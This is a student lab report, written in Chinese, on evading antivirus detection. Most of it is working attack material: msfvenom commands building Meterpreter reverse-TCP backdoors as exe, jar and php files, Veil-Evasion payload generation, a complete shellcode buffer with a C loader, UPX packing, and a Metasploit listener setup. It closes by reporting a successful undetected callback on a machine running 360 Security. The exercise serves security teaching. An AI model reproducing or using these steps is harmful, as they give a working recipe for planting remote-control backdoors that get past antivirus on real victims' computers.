20174323张加欣-Exp3 免杀原理与实践

1.实验内容及基础知识

1.1  实验内容  

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
  • 任务二:通过组合应用各种技术实现恶意代码免杀。
  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

1.2  基础知识  

恶意代码监测机制:

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 启发式恶意软件检测:典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

免杀:

  • 指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

 

2.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

2.1  正确使用msf编码器,生成exe文件    

  • 在实验二中已经生成的后门程序 20174323_backdoor.exe ,使用 VirusTotal 这个网站进行扫描,扫描结果如下:
  • 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接着使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 生成一次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded1.exe
  • 生成十次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded10.exe
  • 由此可见,多次编码对于免杀没有太大的帮助。

2.2  msfvenom生成jar文件及其他文件  

  • 输入指令apt-get install ufw msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> 20174323jar.jar,生成jar文件。
  • VirusTotal检测结果:
  • 输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> dwt_backdoor.php,生成php文件。
  • VirusTotal检测结果:
  • 还可以生成jsp文件、apk文件等等...

2.3  使用veil-evasion生成后门程序及检测  

  • 使用,进行veil的安装。

  • 安装成功
  • 使用sudo运行veil,输入use evasion,命令进入veil-evasion。

  • 输入指令use c/meterpreter/rev_tcp.py,进入配置界面。

  • 输入  set LHOST 192.168.2.125,设置反弹连接IP地址。输入  set LPORT 4323,设置端口。

  • 使用generate命令生成文件,接着输入生成的playload的名称veil20175317,保存路径为/var/lib/veil/output/source/veil20175317.exe

  • VirusTotal检测结果:

2.4  使用C+shellcode编程生成后门程序  

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 -f c,生成shellcode。
  • 创建20174323.c,将buf添加到代码中。
ufwunsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x88"
"\x68\x02\x00\x14\xc5\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main() 
{ 
    int (*func)() = (int(*)())buf; 
    func(); 
}
  • 输入代码i686-w64-mingw32-g++ 20174323.c -o 20174323.exe,生成exe可执行文件。
  • VirusTotal检测结果:

2.5  加壳工具  

  • 输入指令upx 20174323.exe -o 20174323pro.exe,对20174323.exe加壳。
  • VirusTotal检测结果如下,可以发现加壳以后能够检测出的杀软少了。
  • 使用实验二的方法测试,在 msfconsole 里监听本机端口号,反弹连接成功。

2.6  其他方法  

  • 采用Veil-Evasion的其他荷载生成后门方式
  • 进入evasion,使用list查看可用的有效荷载:

  • 我选择的是第32个荷载,是Python下shellcode在DES下加密一种。

  • 输入option,查看有效荷载的选项。
  • 修改用户名后使用generate生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取。

  • 输入生成文件的文件名,选择Py2Exe生成exe文件。

  • 之后,生成的rc文件放入了路径/var/lib/veil/output/handlers/中,可执行文件放入了/var/lib/veil/output/source/ 中,VirusTotal检测结果。

3.任务二:通过组合应用各种技术实现恶意代码免杀。

4.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

(任务二和任务三放在一起做)

  • 使用Msfvenom生成raw格式的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.145.128 lport=4323 -f raw -o 20174323.raw
  • 打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.2.125       //Linux端的IP地址 
set LPORT 4323    //与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20174323.raw 
  • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20174323.raw通过检测。
  • Windows版本:Windows 10;杀软:360安全卫士11.4.0.2003

 

5.基础问题回答

5.1  杀软是如何检测出恶意代码的?  

  • 特征代码法:该方法是目前杀毒工具中必备的组成部分。
  • 校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
  • 行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

5.2  免杀是做什么?  

  • 免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”。

5.3  免杀的基本方法有哪些?  

  • 采用不同的编码方式,或者编码次数。
  • 对编码后生成的文件进行加壳,加压缩壳或者是加密壳。
  • 还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤。

5.4  开启杀软能绝对防止电脑中恶意代码吗?  

  • 开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。

 

6.实验心得

       这次的实验还是很有意思的(但是装veil的过程十分艰辛...),虽然对一些现有平台的依赖性很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全,所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。

posted @ 2020-04-01 21:34  张加欣  阅读(145)  评论(0编辑  收藏